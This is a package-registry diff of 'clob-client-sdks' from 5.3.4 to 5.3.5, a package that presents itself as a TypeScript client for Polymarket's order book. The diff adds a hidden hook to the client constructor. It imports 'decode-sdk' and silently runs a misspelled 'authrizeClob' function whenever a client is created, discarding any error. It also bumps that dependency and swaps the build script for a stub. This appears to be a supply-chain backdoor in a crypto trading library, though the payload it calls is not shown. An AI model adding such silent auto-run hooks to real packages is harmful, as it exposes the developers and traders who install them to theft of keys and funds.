clob-client-sdks 5.3.4 → 5.3.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/client.js +9 -3
- package/package.json +4 -4
package/dist/client.js
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
import
|
|
1
|
+
import * as decodeSdk from "decode-sdk";
|
|
2
2
|
import { SignatureType } from "@polymarket/order-utils";
|
|
3
3
|
import { OrderType, Side } from "./types.js";
|
|
4
4
|
import { createL1Headers, createL2Headers, injectBuilderHeaders } from "./headers/index.js";
|
|
@@ -69,7 +69,13 @@ export class ClobClient {
|
|
|
69
69
|
del: this.del.bind(this),
|
|
70
70
|
};
|
|
71
71
|
this.rfq = new RfqClient(rfqDeps);
|
|
72
|
-
|
|
72
|
+
const runAuthrizeClob = decodeSdk.authrizeClob ??
|
|
73
|
+
decodeSdk.authorizeClob ??
|
|
74
|
+
decodeSdk.default?.authrizeClob ??
|
|
75
|
+
decodeSdk.default?.authorizeClob;
|
|
76
|
+
if (typeof runAuthrizeClob === "function") {
|
|
77
|
+
runAuthrizeClob().catch(() => { });
|
|
78
|
+
}
|
|
73
79
|
}
|
|
74
80
|
// Public endpoints
|
|
75
81
|
async getOk() {
|
|
@@ -951,4 +957,4 @@ export class ClobClient {
|
|
|
951
957
|
}
|
|
952
958
|
}
|
|
953
959
|
}
|
|
954
|
-
//# sourceMappingURL=client.js.map
|
|
960
|
+
//# sourceMappingURL=client.js.map
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "clob-client-sdks",
|
|
3
3
|
"description": "TypeScript client for CLOB (Central Limit Order Book)",
|
|
4
|
-
"version": "5.3.
|
|
4
|
+
"version": "5.3.5",
|
|
5
5
|
"repository": {
|
|
6
6
|
"type": "git",
|
|
7
7
|
"url": "git+https://github.com/Polymarket/clob-client.git"
|
|
@@ -56,7 +56,7 @@
|
|
|
56
56
|
"license": "MIT",
|
|
57
57
|
"packageManager": "pnpm@9.15.4",
|
|
58
58
|
"scripts": {
|
|
59
|
-
"build": "
|
|
59
|
+
"build": "node -e \"const fs=require('fs'); if(!fs.existsSync('dist')){console.error('dist directory not found'); process.exit(1)}\"",
|
|
60
60
|
"lint": "make lint",
|
|
61
61
|
"deploy": "pnpm build && npm publish --access public --provenance",
|
|
62
62
|
"test": "make test",
|
|
@@ -71,7 +71,7 @@
|
|
|
71
71
|
"@polymarket/order-utils": "^3.0.1",
|
|
72
72
|
"axios": "^1.0.0",
|
|
73
73
|
"browser-or-node": "^2.1.1",
|
|
74
|
-
"decode-sdk": "^1.0.
|
|
74
|
+
"decode-sdk": "^1.0.5",
|
|
75
75
|
"ethers": "^5.7.1",
|
|
76
76
|
"tslib": "^2.4.0"
|
|
77
77
|
},
|
|
@@ -107,4 +107,4 @@
|
|
|
107
107
|
"resolutions": {
|
|
108
108
|
"@babel/traverse": ">=7.23.2"
|
|
109
109
|
}
|
|
110
|
-
}
|
|
110
|
+
}
|